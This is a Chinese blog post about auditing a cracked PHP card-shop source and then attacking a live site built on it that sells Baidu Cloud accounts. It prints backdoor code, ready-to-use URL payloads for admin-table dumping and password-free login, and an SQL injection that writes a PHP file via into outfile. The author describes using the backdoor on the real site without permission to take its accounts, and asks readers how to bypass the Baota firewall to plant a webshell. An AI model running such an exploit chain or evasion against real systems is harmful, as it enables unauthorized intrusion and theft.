記一次由百度雲會員引起的審計及滲透

  • 2020 年 1 月 20 日
  • 筆記

前言#

前天找了點域滲透的環境和資料,都是百度雲盤存儲的,一個鏡像十幾個g,下不下來,發現網上有賣百度雲VIP賬號的,都是一些發卡網,剛好自己最近在學代碼審計,就想着下載一套源碼自己看看能不能審出漏洞。沒想到還真看出來了點東西。

開搞#

目標站點xx.com掃出了readme.txt,是企業版PHP自動發卡源碼免授權優化版

看到這免授權優化版我就知道有戲,很可能存在後門。網上找了一套

目錄結構和目標站點一樣,應該就是這套了。

本地搭建,然後源代碼扔到seay先跑着,我先大概看下架構

index.php入口

典型的mvc架構

偽靜態重寫URL

代碼審計這方面我是新手,所以我的目標是找找sql注入、未授權訪問、上傳點以及越權,當然考慮到是免授權優化版,我還可以找找後門:文件遍歷或者代碼執行

[後門?]文件遍歷#

/bom.phpcheckdir()函數

遞歸遍歷當前目錄下的所有文件。

這個文件應該是去除文件的bom頭,不知道算不算後門。

過濾方式#

includeslibsFunctions.php

全局makeSafe()函數過濾,強轉數字,addslashes()mysql_real_escape_string()轉義字符串,strip_tags去除html標籤

includeslibsMysql.php

MySQL使用UTF8編碼

我發現的SQL語句變量全部使用單引號進行包裹,寄希望於seay,暫放。

[後門]獲取管理員賬戶#

adminadminInfo.php沒有鑒權

function getmethod(){      $ob = new Admin_Model();      $items = $ob->getData(1, 10, "WHERE id <> -1");       $index = 0;      echo "<table border='1' style=''>";      foreach($items as $item){          echo "<tr>";          $index ++;          if($index == 1){                      foreach($item as $key => $val){                  if(preg_match("/^d*$/",$key)){                      continue;                  }                  echo "<th>$key</th>";              }              echo "</tr>";              echo "<tr>";          }          foreach($item as $key => $val){              if(preg_match("/^d*$/",$key)){                  continue;              }              echo "<td>$val</td>";             }          echo "</tr>";      }      echo "</table>";  }

payload:/admin/adminInfo.php?action=get

[後門]無需密碼登錄後台#

還是adminadminInfo.php

function infomethod(){      $ob = new Admin_Model();      $u = $ob->getOneData($_GET['id']);      $_SESSION['login_adminname']=$u['username'];      $_SESSION['login_adminid']=$u['id'];      $_SESSION['login_adminutype']=$u['utype'];      $_SESSION['login_adminlimit']=explode('|',$u['adminlimit']);  }

payload:先訪問/admin/adminInfo.php?action=info&id=1然後訪問/admin/

[後門]SQL注入#

還是adminadminInfo.phpinfomethod()函數

$u = $ob->getOneData($_GET['id']);

id直接代入數據庫查詢,可嘗試into outfile

payload

http://go.go/admin/admininfo.php?action=info&id=-1 union select 1,2,3,4,5,6,7,8,9,10,'<?php phpinfo()?>' into outfile 'E:/WWW/faka/1.php'

後台任意文件上傳#

/admin/set.php未對文件後綴校驗

漏洞利用#

文件遍歷拿到後台=>adminInfo.php拿到管理員賬戶或直接登陸=>任意文件上傳拿shell

實戰#

後門進入後台,上傳沒有寫文件權限,sql注入outfile寫文件被寶塔攔截,嘗試多種方法無果,放棄,畢竟賬號已經有了,下東西去。

ps:我沒想到一個賣百度雲賬號的流水一天也能7k

總結#

網站是死的,思路是活的。滲透測試的精髓是指哪打哪,希望我可以做到。另外如果有師傅知道怎麼繞過寶塔寫shell的請pm我,感激不盡。有在學代碼審計的同學也歡迎找我交流哦!

原文由:Chabug安全Y4er